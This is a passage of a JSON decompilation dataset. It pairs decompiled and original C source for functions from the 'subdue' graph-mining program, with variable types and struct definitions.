_instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "SetIncrementNumExamples", "canonical_name": "func9", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall SetIncrementNumExamples(_QWORD *a1)\n{\nunsigned __int64 v1; // rax\ndouble v2; // xmm0_8\nunsigned __int64 v3; // rax\ndouble v4; // xmm0_8\n__int64 result; // rax\nunsigned __int64 v6; // [rsp+10h] [rbp-20h]\nunsigned __int64 v7; // [rsp+10h] [rbp-20h]\n__int64 v8; // [rsp+20h] [rbp-10h]\nunsigned __int64 i; // [rsp+28h] [rbp-8h]\nunsigned __int64 j; // [rsp+28h] [rbp-8h]\n\nv8 = GetCurrentIncrement((__int64)a1);\nv6 = a1[196];\nfor ( i = 0LL; i < v6 && *(_QWORD *)(v8 + 48) > *(_QWORD *)(a1[198] + 8 * i); ++i )\n;\nv1 = v6 - i;\nif ( (__int64)(v6 - i) < 0 )\nv2 = (double)(int)(v1 & 1 | (v1 >> 1)) + (double)(int)(v1 & 1 | (v1 >> 1));\nelse\nv2 = (double)(int)v1;\n*(double *)(v8 + 80) = v2;\nv7 = a1[197];\nfor ( j = 0LL; j < v7 && *(_QWORD *)(v8 + 64) > *(_QWORD *)(a1[199] + 8 * j); ++j )\n;\nv3 = v7 - j;\nif ( (__int64)(v7 - j) < 0 )\nv4 = (double)(int)(v3 & 1 | (v3 >> 1)) + (double)(int)(v3 & 1 | (v3 >> 1));\nelse\nv4 = (double)(int)v3;\nresult = v8;\n*(double *)(v8 + 88) = v4;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(_QWORD *a1)\n{\nunsigned __int64 v1; // rax\ndouble v2; // xmm0_8\nunsigned __int64 v3; // rax\ndouble v4; // xmm0_8\n__int64 result; // rax\nunsigned __int64 v6; // [rsp+10h] [rbp-20h]\nunsigned __int64 v7; // [rsp+10h] [rbp-20h]\n__int64 v8; // [rsp+20h] [rbp-10h]\nunsigned __int64 i; // [rsp+28h] [rbp-8h]\nunsigned __int64 j; // [rsp+28h] [rbp-8h]\n\nv8 = func7((__int64)a1);\nv6 = a1[196];\nfor ( i = 0LL; i < v6 && *(_QWORD *)(v8 + 48) > *(_QWORD *)(a1[198] + 8 * i); ++i )\n;\nv1 = v6 - i;\nif ( (__int64)(v6 - i) < 0 )\nv2 = (double)(int)(v1 & 1 | (v1 >> 1)) + (double)(int)(v1 & 1 | (v1 >> 1));\nelse\nv2 = (double)(int)v1;\n*(double *)(v8 + 80) = v2;\nv7 = a1[197];\nfor ( j = 0LL; j < v7 && *(_QWORD *)(v8 + 64) > *(_QWORD *)(a1[199] + 8 * j); ++j )\n;\nv3 = v7 - j;\nif ( (__int64)(v7 - j) < 0 )\nv4 = (double)(int)(v3 & 1 | (v3 >> 1)) + (double)(int)(v3 & 1 | (v3 >> 1));\nelse\nv4 = (double)(int)v3;\nresult = v8;\n*(double *)(v8 + 88) = v4;\nreturn result;\n}", "original_code": "void SetIncrementNumExamples(Parameters *parameters)\n{\n Increment *increment = GetCurrentIncrement(parameters);\n ULONG i;\n ULONG numEgs;\n ULONG start;\n start = increment->startPosVertexIndex;\n numEgs = parameters->numPosEgs;\n for (i=0; i<numEgs; i++)\n if (parameters->posEgsVertexIndices[i] >= start)\n break;\n increment->numPosEgs = (double) (numEgs - i);\n start = increment->startNegVertexIndex;\n numEgs = parameters->numNegEgs;\n for (i=0; i<numEgs; i++)\n if (parameters->negEgsVertexIndices[i] >= start)\n break;\n increment->numNegEgs = (double) (numEgs - i);\n}", "canonical_original_code": "void SetIncrementNumExamples(struct Parameters *parameters)\n{\n struct _increment *increment = GetCurrentIncrement(parameters);\n unsigned long i;\n unsigned long numEgs;\n unsigned long start;\n start = increment->startPosVertexIndex;\n numEgs = parameters->numPosEgs;\n for (i=0; i<numEgs; i++)\n if (parameters->posEgsVertexIndices[i] >= start)\n break;\n increment->numPosEgs = (double) (numEgs - i);\n start = increment->startNegVertexIndex;\n numEgs = parameters->numNegEgs;\n for (i=0; i<numEgs; i++)\n if (parameters->negEgsVertexIndices[i] >= start)\n break;\n increment->numNegEgs = (double) (numEgs - i);\n}", "variable_types": [ [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "increment", "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *" ], [ "i", "unsigned long" ], [ "numEgs", "unsigned long" ], [ "start", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct SubList { struct _sub_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct InstanceList { struct _instance_list_node *head; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "GetStartVertexIndex", "canonical_name": "func10", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetStartVertexIndex(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\n_QWORD *v4; // [rsp+28h] [rbp-8h]\n\nv4 = **(_QWORD ***)(a2 + 1752);\nif ( !v4 )\n{\nputs(\"Error GetStartVertexIndex: increment list empty\");\nexit(1);\n}\nwhile ( v4[1] )\nv4 = (_QWORD *)v4[1];\nif ( a3 == 1 )\nresult = *(_QWORD *)(*v4 + 48LL);\nelse\nresult = *(_QWORD *)(*v4 + 64LL);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func10(__int64 a1, __int64 a2, __int64 a3)\n{\n__int64 result; // rax\n_QWORD *v4; // [rsp+28h] [rbp-8h]\n\nv4 = **(_QWORD ***)(a2 + 1752);\nif ( !v4 )\n{\nputs(\"Error GetStartVertexIndex: increment list empty\");\nexit(1);\n}\nwhile ( v4[1] )\nv4 = (_QWORD *)v4[1];\nif ( a3 == 1 )\nresult = *(_QWORD *)(*v4 + 48LL);\nelse\nresult = *(_QWORD *)(*v4 + 64LL);\nreturn result;\n}", "original_code": "ULONG GetStartVertexIndex(ULONG incrementNum, Parameters *parameters,\n ULONG graphType)\n{\n IncrementListNode *incNodePtr = parameters->incrementList->head;\n if (incNodePtr == ((void *)0))\n {\n printf(\"Error GetStartVertexIndex: increment list empty\\n\");\n exit(1);\n }\n while (incNodePtr->next != ((void *)0))\n incNodePtr = incNodePtr->next;\n if (graphType == 1)\n return incNodePtr->increment->startPosVertexIndex;\n else\n return incNodePtr->increment->startNegVertexIndex;\n}", "canonical_original_code": "unsigned long GetStartVertexIndex(unsigned long incrementNum, struct Parameters *parameters, unsigned long graphType)\n{\n struct _increment_list_node *incNodePtr = parameters->incrementList->head;\n if (incNodePtr == ((void *)0))\n {\n printf(\"Error GetStartVertexIndex: increment list empty\\n\");\n exit(1);\n }\n while (incNodePtr->next != ((void *)0))\n incNodePtr = incNodePtr->next;\n if (graphType == 1)\n return incNodePtr->increment->startPosVertexIndex;\n else\n return incNodePtr->increment->startNegVertexIndex;\n}", "variable_types": [ [ "incrementNum", "unsigned long" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "graphType", "unsigned long" ], [ "incNodePtr", "struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct SubList { struct _sub_list_node *head; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }", "struct InstanceList { struct _instance_list_node *head; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct VertexMap { unsigned long v1; unsigned long v2; }" ], "binary_hash": "8622fde44c2393475747a752977dd0bc7396e235dd7c3dc2de4907f5a29173f7" }, { "name": "GetIncrementListNode", "canonical_name": "func11", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall GetIncrementListNode(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = **(_QWORD **)(a2 + 1752);\nif ( !v3 )\nreturn 0LL;\nwhile ( *(_QWORD *)(v3 + 8) )\nv3 = *(_QWORD *)(v3 + 8);\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func11(__int64 a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = **(_QWORD **)(a2 + 1752);\nif ( !v3 )\nreturn 0LL;\nwhile ( *(_QWORD *)(v3 + 8) )\nv3 = *(_QWORD *)(v3 + 8);\nreturn v3;\n}", "original_code": "IncrementListNode *GetIncrementListNode(ULONG incrementNum,\n Parameters *parameters)\n{\n IncrementListNode *incNodePtr = parameters->incrementList->head;\n if (incNodePtr == ((void *)0))\n return ((void *)0);\n while (incNodePtr->next != ((void *)0))\n incNodePtr = incNodePtr->next;\n return incNodePtr;\n}", "canonical_original_code": "struct _increment_list_node *GetIncrementListNode(unsigned long incrementNum, struct Parameters *parameters)\n{\n struct _increment_list_node *incNodePtr = parameters->incrementList->head;\n if (incNodePtr == ((void *)0))\n return ((void *)0);\n while (incNodePtr->next != ((void *)0))\n incNodePtr = incNodePtr->next;\n return incNodePtr;\n}", "variable_types": [ [ "incrementNum", "unsigned long" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "incNodePtr", "struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *" ] ], "return_type": "struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *", "user_defined_types": [ "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long 